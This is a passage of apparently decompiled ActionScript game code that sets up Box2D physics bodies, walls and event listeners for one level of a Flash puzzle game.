dim55_sh.friction = 1;
dim55_sh.restitution = 0.1;
dim55 = world.CreateBody(dim55_def);
dim55.CreateShape(dim55_sh);
dim55.SetMassFromShapes();
dim56_def = new b2BodyDef();
dim56_sh = new b2PolygonDef();
dim56_def.position.Set((dim56_cl.x / 30), (dim56_cl.y / 30));
dim56_sh.SetAsBox(((dim56_cl.width / 2) / 30), ((dim56_cl.height / 2) / 30));
dim56_def.userData = dim56_cl;
dim56_sh.density = 10;
dim56_sh.friction = 1;
dim56_sh.restitution = 0.1;
dim56 = world.CreateBody(dim56_def);
dim56.CreateShape(dim56_sh);
dim56.SetMassFromShapes();
dim57_def = new b2BodyDef();
dim57_sh = new b2PolygonDef();
dim57_def.position.Set((dim57_cl.x / 30), (dim57_cl.y / 30));
dim57_sh.SetAsBox(((dim57_cl.width / 2) / 30), ((dim57_cl.height / 2) / 30));
dim57_def.userData = dim57_cl;
dim57_sh.density = 10;
dim57_sh.friction = 1;
dim57_sh.restitution = 0.1;
dim57 = world.CreateBody(dim57_def);
dim57.CreateShape(dim57_sh);
dim57.SetMassFromShapes();
addEventListener(Event.ENTER_FRAME, up_w);
addEventListener(Event.ENTER_FRAME, game_f);
addEventListener(Event.ENTER_FRAME, add_hero);
zvuk_bt.addEventListener(MouseEvent.CLICK, nagal_zvuk);
again_bt.addEventListener(MouseEvent.CLICK, again_f);
home_bt.addEventListener(MouseEvent.CLICK, home_f);
}
function frame41(){
cel = 2;
kol_cel = cel;
kol_hero = 15;
kol_hero_tx.text = ("x" + kol_hero.toString());
pos_hero_x = 349;
pos_hero_y = 380;
i = 1;
while (i <= 57) {
mas_balka.push(i);
mas_balka_giz.push(4);
i++;
};
locations = 21;
score_game = 0;
gro1 = new b2BodyDef();
gro1.position.Set((stena1.x / 30), (stena1.y / 30));
gro1.userData = stena1;
gro1_sh = new b2PolygonDef();
gro1_sh.SetAsBox(((stena1.width / 2) / 30), ((stena1.height / 2) / 30));
gro1_def = world.CreateBody(gro1);
gro1_def.CreateShape(gro1_sh);
gro1_def.SetMassFromShapes();
gro1_sh.density = 1;
gro2 = new b2BodyDef();
gro2.position.Set((stena2.x / 30), (stena2.y / 30));
gro2.userData = stena2;
gro2_sh = new b2PolygonDef();
gro2_sh.SetAsBox(((stena2.width / 2) / 30), ((stena2.height / 2) / 30));
gro2_def = world.CreateBody(gro2);
gro2_def.CreateShape(gro2_sh);
gro2_def.SetMassFromShapes();
gro2_sh.density = 1;
gro3 = new b2BodyDef();
gro3.position.Set((stena3.x / 30), (stena3.y / 30));
gro3.userData = stena3;
gro3_sh = new b2PolygonDef();
gro3_sh.SetAsBox(((stena3.width / 2) / 30), ((stena3.height / 2) / 30));
gro3_def = world.CreateBody(gro3);
gro3_def.CreateShape(gro3_sh);
gro3_def.SetMassFromShapes();
gro3_sh.density = 1;
gro4 = new b2BodyDef();
gro4.position.Set((stena4.x / 30), (stena4.y / 30));
gro4.userData = stena4;
gro4_sh = new b2PolygonDef();
gro4_sh.SetAsBox(((stena4.width / 2) / 30), ((stena4.height / 2) / 30));
gro4_def = world.CreateBody(gro4);
gro4_def.CreateShape(gro4_sh);
gro4_def.SetMassFromShapes();
gro4_sh.density = 1;
gro5 = new b2BodyDef();
gro5.position.Set((stena5.x / 30), (stena5.y / 30));
gro5.userData = stena5;
gro5_sh = new b2PolygonDef();
gro5_sh.SetAsBox(((stena5.width / 2) / 30), ((stena5.height / 2) / 30));
gro5_def = world.CreateBody(gro5);
gro5_def.CreateShape(gro5_sh);
gro5_def.SetMassFromShapes();
gro5_sh.density = 1;
gro6 = new b2BodyDef();
gro6.position.Set((stena6.x / 30), (stena6.y / 30));
gro6.userData = stena6;
gro6_sh = new b2PolygonDef();
gro6_sh.SetAsBox(((stena6.width / 2) / 30), ((stena6.height / 2) / 30));
gro6_def = world.CreateBody(gro6);
gro6_def.CreateShape(gro6_sh);
gro6_def.SetMassFromShapes();
gro6_sh.density = 1;
gro7 = new b2BodyDef();
gro7.position.Set((gro7_cl.x / 30), (gro7_cl.y / 30));
gro7.userData = gro7_cl;
gro7_sh = new b2PolygonDef();
gro7_sh.SetAsBox(((gro7_cl.width / 2) / 30), ((gro7_cl.height / 2) / 30));
gro7_def = world.CreateBody(gro7);
gro7_def.CreateShape(gro7_sh);
gro7_def.SetMassFromShapes();
gro7_sh.density = 1;
gro8 = new b2BodyDef();
gro8.position.Set((gro8_cl.x / 30), (gro8_cl.y / 30));
gro8.userData = gro8_cl;
gro8_sh = new b2PolygonDef();
gro8_sh.SetAsBox(((gro8_cl.width / 2) / 30), ((gro8_cl.height / 2) / 30));
gro8_def = world.CreateBody(gro8);
gro8_def.CreateShape(gro8_sh);
gro8_def.SetMassFromShapes();
gro8_sh.density = 1;
i = 1;
while (i <= 8) {
mas_ground.push(i);
i++;
};
dim1_def = new b2BodyDef();
dim1_sh = new b2PolygonDef();
dim1_def.position.Set((dim1_cl.x / 30), (dim1_cl.y / 30));
dim1_sh.SetAsBox(((dim1_cl.width / 2) / 30), ((dim1_cl.height / 2) / 30));
dim1_sh.density = 1;
dim1_sh.friction = 1;
dim1_sh.restitution = 0.1;
dim1_def.userData = dim1_cl;
dim1 = world.CreateBody(dim1_def);
dim1.CreateShape(dim1_sh);
dim1.SetMassFromShapes();
dim2_def = new b2BodyDef();
dim2_sh = new b2PolygonDef();
dim2_def.position.Set((dim2_cl.x / 30), (dim2_cl.y / 30));
dim2_sh.SetAsBox(((dim2_cl.width / 2) / 30), ((dim2_cl.height / 2) / 30));
dim2_def.userData = dim2_cl;
dim2_sh.density = 10;
dim2_sh.friction = 1;
dim2_sh.restitution = 0.1;
dim2 = world.CreateBody(dim2_def);
dim2.CreateShape(dim2_sh);
dim2.SetMassFromShapes();
dim3_def = new b2BodyDef();
dim3_sh = new b2PolygonDef();
dim3_def.position.Set((dim3_cl.x / 30), (dim3_cl.y / 30));
dim3_sh.SetAsBox(((dim3_cl.width / 2) / 30), ((dim3_cl.height / 2) / 30));
dim3_def.userData = dim3_cl;
dim3_sh.density = 10;
dim3_sh.friction = 1;
dim3_sh.restitution = 0.1;
dim3 = world.CreateBody(dim3_def);
dim3.CreateShape(dim3_sh);
dim3.SetMassFromShapes();
dim4_def = new b2BodyDef();
dim4_sh = new b2PolygonDef();
dim4_def.position.Set((dim4_cl.x / 30), (dim4_cl.y / 30));
dim4_sh.SetAsBox(((dim4_cl.width / 2) / 30), ((dim4_cl.height / 2) / 30));
dim4_def.userData = dim4_cl;
dim4_sh.density = 12;
dim4_sh.friction = 1;
dim4_sh.restitution = 0.1;
dim4 = world.CreateBody(dim4_def);
dim4.CreateShape(dim4_sh);
dim4.SetMassFromShapes();
dim5_def = new b2BodyDef();
dim5_sh = new b2PolygonDef();
dim5_def.position.Set((dim5_cl.x / 30), (dim5_cl.y / 30));
dim5_sh.SetAsBox(((dim5_cl.width / 2) / 30), ((dim5_cl.height / 2) / 30));
dim5_def.userData = dim5_cl;
dim5_sh.density = 12;
dim5_sh.friction = 1;
dim5_sh.restitution = 0.1;
dim5 = world.CreateBody(dim5_def);
dim5.CreateShape(dim5_sh);
dim5.SetMassFromShapes();
dim6_def = new b2BodyDef();
dim6_sh = new b2PolygonDef();
dim6_def.position.Set((dim6_cl.x / 30), (dim6_cl.y / 30));
dim6_sh.SetAsBox(((dim6_cl.width / 2) / 30), ((dim6_cl.height / 2) / 30));
dim6_def.userData = dim6_cl;
dim6_sh.density = 10;
dim6_sh.friction = 1;
dim6_sh.restitution = 0.1;
dim6 = world.CreateBody(dim6_def);
dim6.CreateShape(dim6_sh);
dim6.SetMassFromShapes();
dim7_def = new b2BodyDef();
dim7_sh = new b2PolygonDef();
dim7_def.position.Set((dim7_cl.x / 30), (dim7_cl.y / 30));
dim7_sh.SetAsBox(((dim7_cl.width / 2) / 30), ((dim7_cl.height / 2) / 30));
dim7_def.userData = dim7_cl;
dim7_sh.density = 10;
dim7_sh.friction = 1;
dim7_sh.restitution = 0.1;
dim7 = world.CreateBody(dim7_def);
dim7.CreateShape(dim7_sh);
dim7.SetMassFromShapes();
dim8_def = new b2BodyDef();
dim8_sh = new b2PolygonDef();
dim8_def.position.Set((dim8_cl.x / 30), (dim8_cl.y / 30));
dim8_sh.SetAsBox(((dim8_cl.width / 2) / 30), ((dim8_cl.height / 2) / 30));
dim8_def.userData = dim8_cl;
dim8_sh.density = 1;
dim8_sh.friction = 1;
dim8_sh.restitution = 0.1;
dim8 = world.CreateBody(dim8_def);
dim8.CreateShape(dim8_sh);
dim8.SetMassFromShapes();
dim9_def = new b2BodyDef();
dim9_sh = new b2PolygonDef();
dim9_def.position.Set((dim9_cl.x / 30), (dim9_cl.y / 30));
dim9_sh.SetAsBox(((dim9_cl.width / 2) / 30), ((dim9_cl.height / 2) / 30));
dim9_def.userData = dim9_cl;
dim9_sh.density = 12;
dim9_sh.friction = 1;
dim9_sh.restitution = 0.1;
dim9 = world.CreateBody(dim9_def);
dim9.CreateShape(dim9_sh);
dim9.SetMassFromShapes();
dim10_def = new b2BodyDef();
dim10_sh = new b2PolygonDef();
dim10_def.position.Set((dim10_cl.x / 30), (dim10_cl.y / 30));
dim10_sh.SetAsBox(((dim10_cl.width / 2) / 30), ((dim10_cl.height / 2) / 30));
dim10_def.userData = dim10_cl;
dim10_sh.density = 1;
dim10_sh.friction = 1;
dim10_sh.restitution = 0.1;
dim10 = world.CreateBody(dim10_def);
dim10.CreateShape(dim10_sh);
dim10.SetMassFromShapes();
dim11_def = new b2BodyDef();
dim11_sh = new b2PolygonDef();
dim11_def.position.Set((dim11_cl.x / 30), (dim11_cl.y / 30));
dim11_sh.SetAsBox(((dim11_cl.width / 2) / 30), ((dim11_cl.height / 2) / 30));
dim11_def.userData = dim11_cl;
dim11_sh.density = 12;
dim11_sh.friction = 1;
dim11_sh.restitution = 0.1;
dim11 = world.CreateBody(dim11_def);
dim11.CreateShape(dim11_sh);
dim11.SetMassFromShapes();
dim12_def = new b2BodyDef();
dim12_sh = new b2PolygonDef();
dim12_def.position.Set((dim12_cl.x / 30), (dim12_cl.y / 30));
dim12_sh.SetAsBox(((dim12_cl.width / 2) / 30), ((dim12_cl.height / 2) / 30));
dim12_def.userData = dim12_cl;
dim12_sh.density = 1;
dim12_sh.friction = 1;
dim12_sh.restitution = 0.1;
dim12 = world.CreateBody(dim12_def);
dim12.CreateShape(dim12_sh);
dim12.SetMassFromShapes();
dim13_def = new b2BodyDef();
dim13_sh = new b2PolygonDef();
dim13_def.position.Set((dim13_cl.x / 30), (dim13_cl.y / 30));
dim13_sh.SetAsBox(((dim13_cl.width / 2) / 30), ((dim13_cl.height / 2) / 30));
dim13_def.userData = dim13_cl;
dim13_sh.density = 1;
dim13_sh.friction = 1;
dim13_sh.restitution = 0.1;
dim13 = world.CreateBody(dim13_def);
dim13.CreateShape(dim13_sh);
dim13.SetMassFromShapes();
dim14_def = new b2BodyDef();
dim14_sh = new b2PolygonDef();
dim14_def.position.Set((dim14_cl.x / 30), (dim14_cl.y / 30));
dim14_sh.SetAsBox(((dim14_cl.width / 2) / 30), ((dim14_cl.height / 2) / 30));
dim14_def.userData = dim14_cl;
dim14_sh.density = 1;
dim14_sh.friction = 1;
dim14_sh.restitution = 0.1;
dim14 = world.CreateBody(dim14_def);
dim14.CreateShape(dim14_sh);
dim14.SetMassFromShapes();
dim15_def = new b2BodyDef();
dim15_sh = new b2PolygonDef();
dim15_def.position.Set((dim15_cl.x / 30), (dim15_cl.y / 30));
dim15_sh.SetAsBox(((dim15_cl.width / 2) / 30), ((dim15_cl.height / 2) / 30));
dim15_def.userData = dim15_cl;
dim15_sh.density = 1;
dim15_sh.friction = 1;
dim15_sh.restitution = 0.1;
dim15 = world.CreateBody(dim15_def);
dim15.CreateShape(dim15_sh);
dim15.SetMassFromShapes();
dim16_def = new b2BodyDef();
dim16_sh = new b2PolygonDef();
dim16_def.position.Set((dim16_cl.x / 30), (dim16_cl.y / 30));
dim16_sh.SetAsBox(((dim16_cl.width / 2) / 30), ((dim16_cl.height / 2) / 30));
dim16_def.userData = dim16_cl;
dim16_sh.density = 1;
dim16_sh.friction = 1;
dim16_sh.restitution = 0.1;
dim16 = world.CreateBody(dim16_def);
dim16.CreateShape(dim16_sh);
dim16.SetMassFromShapes();
dim17_def = new b2BodyDef();
dim17_sh = new b2PolygonDef();
dim17_def.position.Set((dim17_cl.x / 30), (dim17_cl.y / 30));
dim17_sh.SetAsBox(((dim17_cl.width / 2) / 30), ((dim17_cl.height / 2) / 30));
dim17_def.userData = dim17_cl;
dim17_sh.density = 1;
dim17_sh.friction = 1;
dim17_sh.restitution = 0.1;
dim17 = world.CreateBody(dim17_def);
dim17.CreateShape(dim17_sh);
dim17.SetMassFromShapes();
dim18_def = new b2BodyDef();
dim18_sh = new b2PolygonDef();
dim18_def.position.Set((dim18_cl.x / 30), (dim18_cl.y / 30));
dim18_sh.SetAsBox(((dim18_cl.width / 2) / 30), ((dim18_cl.height / 2) / 30));
dim18_def.userData = dim18_cl;
dim18_sh.density = 1;
dim18_sh.friction = 1;
dim18_sh.restitution = 0.1;
dim18 = world.CreateBody(dim18_def);
dim18.CreateShape(dim18_sh);
dim18.SetMassFromShapes();
dim19_def = new b2BodyDef();
dim19_sh = new b2PolygonDef();
dim19_def.position.Set((dim19_cl.x / 30), (dim19_cl.y / 30));
dim19_sh.SetAsBox(((dim19_cl.width / 2) / 30), ((dim19_cl.height / 2) / 30));
dim19_def.userData = dim19_cl;
dim19_sh.density = 1;
dim19_sh.friction = 1;
dim19_sh.restitution = 0.1;
dim19 = world.CreateBody(dim19_def);
dim19.CreateShape(dim19_sh);
dim19.SetMassFromShapes();
dim20_def = new b2BodyDef();
dim20_sh = new b2PolygonDef();
dim20_def.position.Set((dim20_cl.x / 30), (dim20_cl.y / 30));
dim20_sh.SetAsBox(((dim20_cl.width / 2) / 30), ((dim20_cl.height / 2) / 30));
dim20_def.userData = dim20_cl;
dim20_sh.density = 1;
dim20_sh.friction = 1;
dim20_sh.restitution = 0.1;
dim20 = world.CreateBody(dim20_def);
dim20.CreateShape(dim20_sh);
dim20.SetMassFromShapes();
dim21_def = new b2BodyDef();
dim21_sh = new b2PolygonDef();
dim21_def.position.Set((dim21_cl.x / 30), (dim21_cl.y / 30));
dim21_sh.SetAsBox(((dim21_cl.width / 2) / 30), ((dim21_cl.height / 2) / 30));
dim21_def.userData = dim21_cl;
dim21_sh.density = 1;
dim21_sh.friction = 1;
dim21_sh.restitution = 0.1;
dim21 = world.CreateBody(dim21_def);
dim21.CreateShape(dim21_sh);
dim21.SetMassFromShapes();
dim22_def = new b2BodyDef();
dim22_sh = new b2PolygonDef();
dim22_def.position.Set((dim22_cl.x / 30), (dim22_cl.y / 30));
dim22_sh.SetAsBox(((dim22_cl.width / 2) / 30), ((dim22_cl.height / 2) / 30));
dim22_def.userData = dim22_cl;
dim22_sh.density = 1;
dim22_sh.friction = 1;
dim22_sh.restitution = 0.1;
dim22 = world.CreateBody(dim22_def);
dim22.CreateShape(dim22_sh);
dim22.SetMassFromShapes();
dim23_def = new b2BodyDef();
dim23_sh = new b2PolygonDef();
dim23_def.position.Set((dim23_cl.x / 30), (dim23_cl.y / 30));
dim23_sh.SetAsBox(((dim23_cl.width / 2) / 30), ((dim23_cl.height / 2) / 30));
dim23_def.userData = dim23_cl;
dim23_sh.density = 1;
dim23_sh.friction = 1;
dim23_sh.restitution = 0.1;
dim23 = world.CreateBody(dim23_def);
dim23.CreateShape(dim23_sh);
dim23.SetMassFromShapes();
dim24_def = new b2BodyDef();
dim24_sh = new b2PolygonDef();
dim24_def.position.Set((dim24_cl.x / 30), (dim24_cl.y / 30));
dim24_sh.SetAsBox(((dim24_cl.width / 2) / 30), ((dim24_cl.height / 2) / 30));
dim24_def.userData = dim24_cl;
dim24_sh.density = 1;
dim24_sh.friction = 1;
dim24_sh.restitution = 0.1;
dim24 = world.CreateBody(dim24_def);
dim24.CreateShape(dim24_sh);
dim24.SetMassFromShapes();
dim25_def = new b2BodyDef();
dim25_sh = new b2PolygonDef();
dim25_def.position.Set((dim25_cl.x / 30), (dim25_cl.y / 30));
dim25_sh.SetAsBox(((dim25_cl.width / 2) / 30), ((dim25_cl.height / 2) / 30));
dim25_def.userData = dim25_cl;
dim25_sh.density = 1;
dim25_sh.friction = 1;
dim25_sh.restitution = 0.1;
dim25 = world.CreateBody(dim25_def);
dim25.CreateShape(dim25_sh);
dim25.SetMassFromShapes();
dim26_def = new b2BodyDef();
dim26_sh = new b2PolygonDef();
dim26_def.position.Set((dim26_cl.x / 30), (dim26_cl.y / 30));
dim26_sh.SetAsBox(((dim26_cl.width / 2) / 30), ((dim26_cl.height / 2) / 30));
dim26_def.userData = dim26_cl;
dim26_sh.density = 1;
dim26_sh.friction = 1;
dim26_sh.restitution = 0.1;
dim26 = world.CreateBody(dim26_def);
dim26.CreateShape(dim26_sh);
dim26.SetMassFromShapes();
dim27_def = new b2BodyDef();
dim27_sh = new b2PolygonDef();
dim27_def.position.Set((dim27_cl.x / 30), (dim27_cl.y / 30));
dim27_sh.SetAsBox(((dim27_cl.width / 2) / 30), ((dim27_cl.height / 2) / 30));
dim27_def.userData = dim27_cl;
dim27_sh.density = 1;
dim27_sh.friction = 1;
dim27_sh.restitution = 0.1;
dim27 = world.CreateBody(dim27_def);
dim27.CreateShape(dim27_sh);
dim27.SetMassFromShapes();
dim28_def = new b2BodyDef();
dim28_sh = new b2PolygonDef();
dim28_def.position.Set((dim28_cl.x / 30), (dim28_cl.y / 30));
dim28_sh.SetAsBox(((dim28_cl.width / 2) / 30), ((dim28_cl.height / 2) / 30));
dim28_def.userData = dim28_cl;
dim28_sh.density = 12;
dim28_sh.friction = 1;
dim28_sh.restitution = 0.1;
dim28 = world.CreateBody(dim28_def);
dim28.CreateShape(dim28_sh);
dim28.SetMassFromShapes();
dim29_def = new b2BodyDef();
dim29_sh = new b2PolygonDef();
dim29_def.position.Set((dim29_cl.x / 30), (dim29_cl.y / 30));
dim29_sh.SetAsBox(((dim29_cl.width / 2) / 30), ((dim29_cl.height / 2) / 30));
dim29_def.userData = dim29_cl;
dim29_sh.density = 1;
dim29_sh.friction = 1;
dim29_sh.restitution = 0.1;
dim29 = world.CreateBody(dim29_def);
dim29.CreateShape(dim29_sh);
dim29.SetMassFromShapes();
dim30_def = new b2BodyDef();
dim30_sh = new b2PolygonDef();
dim30_def.position.Set((dim30_cl.x / 30), (dim30_cl.y / 30));
dim30_sh.SetAsBox(((dim30_cl.width / 2) / 30), ((dim30_cl.height / 2) / 30));
dim30_def.userData = dim30_cl;
dim30_sh.density = 1;
dim30_sh.friction = 1;
dim30_sh.restitution = 0.1;
dim30 = world.CreateBody(dim30_def);
dim30.CreateShape(dim30_sh);
dim30.SetMassFromShapes();
dim31_def = new b2BodyDef();
dim31_sh = new b2PolygonDef();
dim31_def.position.Set((dim31_cl.x / 30), (dim31_cl.y / 30));
dim31_sh.SetAsBox(((dim31_cl.width / 2) / 30), ((dim31_cl.height / 2) / 30));
dim31_def.userData = dim31_cl;
dim31_sh.density = 1;
dim31_sh.friction = 1;
dim31_sh.restitution = 0.1;
dim31 = world.CreateBody(dim31_def);
dim31.CreateShape(dim31_sh);
dim31.SetMassFromShapes();
dim32_def = new b2BodyDef();
dim32_sh = new b2PolygonDef();
dim32_def.position.Set((dim32_cl.x / 30), (dim32_cl.y / 30));
dim32_sh.SetAsBox(((dim32_cl.width / 2) / 30), ((dim32_cl.height / 2) / 30));
dim32_def.userData = dim32_cl;
dim32_sh.density = 1;
dim32_sh.friction = 1;
dim32_sh.restitution = 0.1;
dim32 = world.CreateBody(dim32_def);
dim32.CreateShape(dim32_sh);
dim32.SetMassFromShapes();
dim33_def = new b2BodyDef();
dim33_sh = new b2PolygonDef();
dim33_def.position.Set((dim33_cl.x / 30), (dim33_cl.y / 30));
dim33_sh.SetAsBox(((dim33_cl.width / 2) / 30), ((dim33_cl.height / 2) / 30));
dim33_def.userData = dim33_cl;
dim33_sh.density = 1;
dim33_sh.friction = 1;
dim33_sh.restitution = 0.1;
dim33 = world.CreateBody(dim33_def);
dim33.CreateShape(dim33_sh);
dim33.SetMassFromShapes();
dim34_def = new b2BodyDef();
dim34_sh = new b2PolygonDef();
dim34_def.position.Set((dim34_cl.x / 30), (dim34_cl.y / 30));
dim34_sh.SetAsBox(((dim34_cl.width / 2) / 30), ((dim34_cl.height / 2) / 30));
dim34_def.userData = dim34_cl;
dim34_sh.density = 1;
dim34_sh.friction = 1;
dim34_sh.restitution = 0.1;
dim34 = world.CreateBody(dim34_def);
dim34.CreateShape(dim34_sh);
dim34.SetMassFromShapes();
dim35_def = new b2BodyDef();
dim35_sh = new b2PolygonDef();
dim35_def.position.Set((dim35_cl.x / 30), (dim35_cl.y / 30));
dim35_sh.SetAsBox(((dim35_cl.width / 2) / 30), ((dim35_cl.height / 2) / 30));
dim35_def.userData = dim35_cl;
dim35_sh.density = 1;
dim35_sh.friction = 1;
dim35_sh.restitution = 0.1;
dim35 = world.CreateBody(dim35_def);
dim35.CreateShape(dim35_sh);
dim35.SetMassFromShapes();
dim36_def = new b2BodyDef();
dim36_sh = new b2PolygonDef();
dim36_def.position.Set((dim36_cl.x / 30), (dim36_cl.y / 30));
dim36_sh.SetAsBox(((dim36_cl.width / 2) / 30), ((dim36_cl.height / 2) / 30));
dim36_def.userData = dim36_cl;
dim36_sh.density = 10;
dim36_sh.friction = 1;
dim36_sh.restitution = 0.1;
dim36 = world.CreateBody(dim36_def);
dim36.CreateShape(dim36_sh);
dim36.SetMassFromShapes();
dim37_def = new b2BodyDef();
dim37_sh = new b2PolygonDef();
dim37_def.position.Set((dim37_cl.x / 30), (dim37_cl.y / 30));
dim37_sh.SetAsBox(((dim37_cl.width / 2) / 30), ((dim37_cl.height / 2) / 30));
dim37_def.userData = dim37_cl;
dim37_sh.density = 10;
dim37_sh.friction = 1;
dim37_sh.restitution = 0.1;
dim37 = world.CreateBody(dim37_def);
dim37.CreateShape(dim37_sh);
dim37.SetMassFromShapes();
dim38_def = new b2BodyDef();
dim38_sh = new b2PolygonDef();
dim38_def.position.Set((dim38_cl.x / 30), (dim38_cl.y / 30));
dim38_sh.SetAsBox(((dim38_cl.width / 2) / 30), ((dim38_cl.height / 2) / 30));
dim38_def.userData = dim38_cl;
dim38_sh.density = 10;
dim38_sh.friction = 1;
dim38_sh.restitution = 0.1;
dim38 = world.CreateBody(dim38_def);
dim38.CreateShape(dim38_sh);
dim38.SetMassFromShapes();
dim39_def = new b2BodyDef();
dim39_sh = new b2PolygonDef();
dim39_def.position.Set((dim39_cl.x / 30), (dim39_cl.y / 30));
dim39_sh.SetAsBox(((dim39_cl.width / 2) / 30), ((dim39_cl.height / 2) / 30));
dim39_def.userData = dim39_cl;
dim39_sh.density = 10;
dim39_sh.friction = 1;
dim39_sh.restitution = 0.1;
dim39 = world.CreateBody(dim39_def);
dim39.CreateShape(dim39_sh);
dim39.SetMassFromShapes();
dim40_def = new b2BodyDef();
dim40_sh = new b2PolygonDef();
dim40_def.position.Set((dim40_cl.x / 30), (dim40_cl.y / 30));
dim40_sh.SetAsBox(((dim40_cl.width / 2) / 30), ((dim40_cl.height / 2) / 30));
dim40_def.userData = dim40_cl;
dim40_sh.density = 10;
dim40_sh.friction = 1;
dim40_sh.restitution = 0.1;
dim40 = world.CreateBody(dim40_def);
dim40.CreateShape(dim40_sh);
dim40.SetMassFromShapes();
dim41_def = new b2BodyDef();
dim41_sh = new b2PolygonDef();
dim41_def.position.Set((dim41_cl.x / 30), (dim41_cl.y / 30));
dim41_sh.SetAsBox(((dim41_cl.width / 2) / 30), ((dim41_cl.height / 2) / 30));
dim41_def.userData = dim41_cl;
dim41_sh.density = 10;
dim41_sh.friction = 1;
dim41_sh.restitution = 0.1;
dim41 = world.CreateBody(dim41_def);
dim41.CreateShape(dim41_sh);
dim41.SetMassFromShapes();
dim42_def = new b2BodyDef();
dim42_sh = new b2PolygonDef();
dim42_def.position.Set((dim42_cl.x / 30), (dim42_cl.y / 30));
dim42_sh.SetAsBox(((dim42_cl.width / 2) / 30), ((dim42_cl.height / 2) / 30));
dim42_def.userData = dim42_cl;
dim42_sh.density = 10;
dim42_sh.friction = 1;
dim42_sh.restitution = 0.1;
dim42 = world.CreateBody(dim42_def);
dim42.CreateShape(dim42_sh);
dim42.SetMassFromShapes();
dim43_def = new b2BodyDef();
dim43_sh = new b2PolygonDef();
dim43_def.position.Set((dim43_cl.x / 30), (dim43_cl.y / 30));
dim43_sh.SetAsBox(((dim43_cl.width / 2) / 30), ((dim43_cl.height / 2) / 30));
dim43_def.userData = dim43_cl;
dim43_sh.density = 10;
dim43_sh.friction = 1;
dim43_sh.restitution = 0.1;
dim43 = world.CreateBody(dim43_def);
dim43.CreateShape(dim43_sh);
dim43.SetMassFromShapes();
dim44_def = new b2BodyDef();
dim44_sh = new b2PolygonDef();
dim44_def.position.Set((dim44_cl.x / 30), (dim44_cl.y / 30));
dim44_sh.SetAsBox(((dim44_cl.width / 2) / 30), ((dim44_cl.height / 2) / 30));
dim44_def.userData = dim44_cl;
dim44_sh.density = 10;
dim44_sh.friction = 1;
dim44_sh.restitution = 0.1;
dim44 = world.CreateBody(dim44_def);
dim44.CreateShape(dim44_sh);
dim44.SetMassFromShapes();
dim45_def = new b2BodyDef();
dim45_sh = new b2PolygonDef();
dim45_def.position.Set((dim45_cl.x / 30), (dim45_cl.y / 30));
dim45_sh.SetAsBox(((dim45_cl.width / 2) / 30), ((dim45_cl.height / 2) / 30));
dim45_def.userData = dim45_cl;
dim45_sh.density = 10;
dim45_sh.friction = 1;
dim45_sh.restitution = 0.1;
dim45 = world.CreateBody(dim45_def);
dim45.CreateShape(dim45_sh);
dim45.SetMassFromShapes();
dim46_def = new b2BodyDef();
dim46_sh = new b2PolygonDef();
dim46_def.position.Set((dim46_cl.x / 30), (dim46_cl.y / 30));
dim46_sh.SetAsBox(((dim46_cl.width / 2) / 30), ((dim46_cl.height / 2) / 30));
dim46_def.userData = dim46_cl;
dim46_sh.density = 10;
dim46_sh.friction = 1;
dim46_sh.restitution = 0.1;
dim46 = world.CreateBody(dim46_def);
dim46.CreateShape(dim46_sh);
dim46.SetMassFromShapes();
dim47_def = new b2BodyDef();
dim47_sh = new b2PolygonDef();
dim47_def.position.Set((dim47_cl.x / 30), (dim47_cl.y / 30));
dim47_sh.SetAsBox(((dim47_cl.width / 2) / 30), ((dim47_cl.height / 2) / 30));
dim47_def.userData = dim47_cl;
dim47_sh.density = 10;
dim47_sh.friction = 1;
dim47_sh.restitution = 0.1;
dim47 = world.CreateBody(dim47_def);
dim47.CreateShape(dim47_sh);
dim47.SetMassFromShapes();
dim48_def = new b2BodyDef();
dim48_sh = new b2PolygonDef();
dim48_def.position.Set((dim48_cl.x / 30), (dim48_cl.y / 30));
dim48_sh.SetAsBox(((dim48_cl.width / 2) / 30), ((dim48_cl.height / 2) / 30));
dim48_def.userData = dim48_cl;
dim48_sh.density = 10;
dim48_sh.friction = 1;
dim48_sh.restitution = 0.1;
dim48 = world.CreateBody(dim48_def);
dim48.CreateShape(dim48_sh);
dim48.SetMassFromShapes();
dim49_def = new b2BodyDef();
dim49_sh = new b2PolygonDef();
dim49_def.position.Set((dim49_cl.x / 30), (dim49_cl.y / 30));
dim49_sh.SetAsBox(((dim49_cl.width / 2) / 30), ((dim49_cl.height / 2) / 30));
dim49_def.userData = dim49_cl;
dim49_sh.density = 10;
dim49_sh.friction = 1;
dim49_sh.restitution = 0.1;
dim49 = world.CreateBody(dim49_def);
dim49.CreateShape(dim49_sh);
dim49.SetMassFromShapes();
dim50_def = new b2BodyDef();
dim50_sh = new b2PolygonDef();
dim50_def.position.Set((dim50_cl.x / 30), (dim50_cl.y / 30));
dim50_sh.SetAsBox(((dim50_cl.width / 2) / 30), ((dim50_cl.height / 2) / 30));
dim50_def.userData = dim50_cl;
dim50_sh.density = 10;
dim50_sh.friction = 1;
dim50_sh.restitution = 0.1;
dim50 = world.CreateBody(dim50_def);
dim50.CreateShape(dim50_sh);
dim50.SetMassFromShapes();
dim51_def = new b2BodyDef();
dim51_sh = new b2PolygonDef();
dim51_def.position.Set((dim51_cl.x / 30), (dim51_cl.y / 30));
dim51_sh.SetAsBox(((dim51_cl.width / 2) / 30), ((dim51_cl.height / 2) / 30));
dim51_def.userData = dim51_cl;
dim51_sh.density = 10;
dim51_sh.friction = 1;
dim51_sh.restitution = 0.1;
dim51 = world.CreateBody(dim51_def);
dim51.CreateShape(dim51_sh);
dim51.SetMassFromShapes();
dim52_def = new b2BodyDef();
dim52_sh = new b2PolygonDef();
dim52_def.position.Set((dim52_cl.x / 30), (dim52_cl.y / 30));
dim52_sh.SetAsBox(((dim52_cl.width / 2) / 30), ((dim52_cl.height / 2) / 30));
dim52_def.userData = dim52_cl;
dim52_sh.density = 10;
dim52_sh.friction = 1;
dim52_sh.restitution = 0.1;
dim52 = world.CreateBody(dim52_def);
dim52.CreateShape(dim52_sh);
dim52.SetMassFromShapes();
dim53_def = new b2BodyDef();
dim53_sh = new b2PolygonDef();
dim53_def.position.Set((dim53_cl.x / 30), (dim53_cl.y / 30));
dim53_sh.SetAsBox(((dim53_cl.width / 2) / 30), ((dim53_cl.height / 2) / 30));
dim53_def.userData = dim53_cl;
dim53_sh.density = 10;
dim53_sh.friction = 1;
dim53_sh.restitution = 0.1;
dim53 = world.CreateBody(dim53_def);
dim53.CreateShape(dim53_sh);
dim53.SetMassFromShapes();
dim54_def = new b2BodyDef();
dim54_sh = new b2PolygonDef();
dim54_def.position.Set((dim54_cl.x / 30), (dim54_cl.y / 30));
